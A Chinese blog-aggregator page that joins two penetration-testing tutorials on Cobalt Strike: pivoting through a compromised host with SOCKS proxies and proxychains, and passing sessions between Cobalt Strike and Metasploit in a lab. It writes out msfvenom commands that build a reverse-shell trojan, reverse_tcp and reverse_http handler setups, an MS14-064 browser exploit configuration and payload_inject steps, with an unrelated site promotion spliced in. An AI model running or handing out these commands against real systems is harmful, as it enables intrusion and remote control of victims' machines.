cobalt strike使用跳板进行内网渗透

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了cobalt strike使用跳板进行内网渗透相关的知识,希望对你有一定的参考价值。

参考技术A

Pivoting ,在本手册中,指的是「将一个受害机器转为其他攻击和工具的跳板」。Cobalt Strike 的Beacon 提供了多种 pivoting 选项。前提是 Beacon 处于交互模式。交互模式意味着一个 Beacon 每 秒内多次连接到团队服务器。使用 sleep 0 命令来使你的 Beacon 进入交互模式。

通过 [beacon] → Pivoting → SOCKS Server 来在你的团队服务器上设置一个 SOCKS4a 代理服务 器。或者使用 socks 8080 命令来在端口 8080 上设置一个 SOCKS4a 代理服务器(或者任何其他你想 选择的端口)。

所有经过这些 SOCKS 服务器的连接都将被转变为让相关联 Beacon 执行的连接、读写和关闭任务。你 可以通过任何类型的 Beacon 经由 SOCKS 隧道传输(甚至是一个 SMB Beacon)。

Beacon 的 HTTP 数据通道是响应速度最快的 pivoting 方法。如果你想通过 DNS 中继流量,使用DNS TXT 记录的通信模式。

要查看当前已经配置的 SOCKS 服务器,通过 View → Proxy Pivots 。 使用 socks stop 命令来停用 SOCKS 代理服务器。

proxychains 工具将强制外部程序使用你指定的 SOCKS 代理服务器。你可以使用 proxychains 强制第 三方工具经过 Cobalt Strike 的 SOCKS 服务器。要了解有关 proxychains 的更多信息,请访问:

http://proxychains.sourceforge.net/

安装proxychains,配置文件修改如下

<pre class="cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);">--- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 8973</pre>

过执行代理工具 proxychains,对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示:

<pre class="cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);">>>> proxychains nmap -sT -Pn 192.168.237.129</pre>

然后可以通过代理使用其他的安全工具进行下一步的渗透,如果说有些工具是不支持代理ip的,那么还有方法

Proxifier: https://sourceforge.net/projects/proxychains-ng/

当使用没有代理功能的工具对目标内网进行渗透时,可以使用Proxifier工具能够将程序通过socks代理对内网进行渗透。详细的使用过程如下所示:

打开Proxifier软件,单击Profile->Proxy Server->add 添加本地主机的代理端口。协议选择socks5类型,可以点击check进行测试当前代理是否成功。

这样的配置会让当前所有软件走全局的代理。可以让一些不支持代理功能的软件走代理。

首先,用cs新建一个外部的监听:我这里选用外部http链接。

开启msf,使用exploit/multi/handler模块,设置payload为windows/meterpreter/reverse_http,然后show options 查看需要设置的参数。

注意:payload必须是和cs上设置的监听模块一致。

然后在cs的beacon控制台中直接输入

<pre class="cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);">spawn msf</pre>

过了几秒,msf中就会得到会话

这部分是在msf获取到会话之后,把会话上传到CS上。

首先在CS上新建一个内部监听。

然后在msf中进行配置

首先在msf上面查看要上传·会话的id:(我这里是2)

使用这个exp:exploit/windows/local/payload_inject

设置好参数之后,检查参数时候设置完全和正确。

exploit执行

cs上就会上线了

这两天出文章的速度慢了,是因为我一直在持续的开发和优化知识库,现在知识库上线新的功能GitHub索引,地址是: https://gitsort.com ,不过现在只能是pc端访问,移动端访问样式会乱掉,因为我前端技术实在是渣渣

首页整理了github上最新流行的趋势。下图是中文趋势

下图是全网趋势

152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]

我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!

文章目录

一、会话管理

1、实验环境

2、会话派生

(1)128的cs会话派生给128的cs本身

第一步:使用http beacon,让128获取到132的cs会话(详细步骤:传送门
//如下图所示:128的cs获取到了131的会话

第二步:128的cs新建一个监听器,注意端口要不一样
//如下图所示:128新建了一个9528的监听器

第三步:128右键会话视图下刚刚生成的会话,点击Spawn派生,选择9528的监听器
//如下图所示:派生会话

//如下图所示:我们在beacon视图下也会发现,点击了派生的操作其实就是执行下面的命令

//如下图所示:等待了一段时间后,128的cs会话成功派生给自身

(2)128的cs会话派生给129的cs会话

第一步:129的cs建立一个9529端口的监听器
//如下图所示:129建立了一个

第二步:128的cs也建立一个9529端口的监听器,特别需要注意的是此时的host需要填写的是129
//如下图所示:host填129,但是beacons填128

第三步:128选中自己会话视图下的所有会话,然后右键Spawn派生到129的cs
//如下图所示:进行派生

第四步:查看129的cs是否获取到了会话
//如下图所示:128的cs会话成功派生到了129的cs上面

(3)128的cs会话派生到129的msf会话

第一步:129的msf开启9530端口监听,特别要注意的是payload选择tcp协议的reverse_tcp

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.129
set lport 9530
exploit -j

//如下图所示:需要注意的是选择的payload是reverse_tcp

第二步:128的cs上建立新的外部监听器,特别需要注意的是外部
//如下图所示:因为是128的cs派生给129的msf,所以选择外部,还有host需要填写的是129的;又因为msf的payload设置的是tcp协议的reverse_tcp,所以要与之对应也选择reverse_tcp;

第三步:128选择会话视图下的所有会话,右键Spawn派生给129的msf
//如下图所示:选中9530,点击choose开始派生

第四步:回到129的msf,发现已经建立了两个会话,我们键入sessions查看所有会话结果
//如下图所示:129的msf上的会话1和会话2就是128的cs会话派生来的

(4)129的msf生成木马 + 128的cs获取新会话

第一步:129生成一个反弹给128的9531端口的木马
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.97.128 LPORT=9531 -f exe > /mnt/hgfs/share/shell1.exe
//如下图所示:成功生成木马

第二步:128的cs新建一个9531监听器
//如下图所示:host填写128,beacons也是128

第三步:靶机131执行我们的129的msfvenom生成的shell1.exe
//如下图所示:靶机成功运行shell1.exe

第四步:查看128的cs会话视图下是否存在新的会话
//如下图所示:128的cs会话视图下反弹来了131的新会话

(5)129的msf溢出exp发到128的cs会话

第一步:129的msf使用溢出exp

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.97.129		【msf自己的IP】
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.97.128	【128的cs,也就是team server的IP】
set lport 9532
set disablepayloadhandler True
set PrependMigrate True
exploit

//解释set disablepayloadhandler True:将DisablePayLoadHandler设置为true。这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。
//解释set PrependMigrate True:这个选项告诉metasploit框架修改其stager,以便在利用之后立即迁移到另一个进程。此选项对于客户端攻击非常重要。它允许您的会话在被利用的应用程序崩溃或关闭时存活。
//如下图所示:生成了恶意链接

第二步:128的cs新建监听器
//如下图所示:host填129,beacons填128

第三步:打开靶机200,运行恶意链接
//如下图所示:

第四步:查看128的cs会话视图下新上线了一个200

(6)129的msf会话派生给128的cs会话

第一步:129的msf生成恶意链接

use exploit/windows/browser/ms14_064_ole_code_execution
set disablepayloadhandler false
set PrependMigrate false
set srvhost 192.168.97.129			【自己IP】
set SRVPORT 80
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.129		【自己IP】
set lport 9532
exploit

第二步:靶机200访问恶意链接http://192.168.97.129:80/Xx3boZk2QaGml71,129的msf获取到会话2
//如下图所示:靶机执行恶意链接

//如下图所示:129的msf获取会话2

第三步:129把会话转到128
sessions
use exploit/windows/local/payload_inject
set session 2
set payload windows/meterpreter/reverse_http
set lhost 192.168.97.128 【cs的IP】
set lport 9532 【cs的端口】
set DisablePayloadHandler true
exploit -j

第四步:128的cs会话视图下获取到了129的msf会话

以上是关于cobalt strike使用跳板进行内网渗透的主要内容,如果未能解决你的问题,请参考以下文章

cobalt strike渗透框架

渗透测试利器【Cobalt Strike】CDN隐匿

Cobalt-Strike基本使用

【远控使用】Cobalt Strike横向渗透域控

内网渗透--总结

内网渗透系列:内网隧道之pingtunnel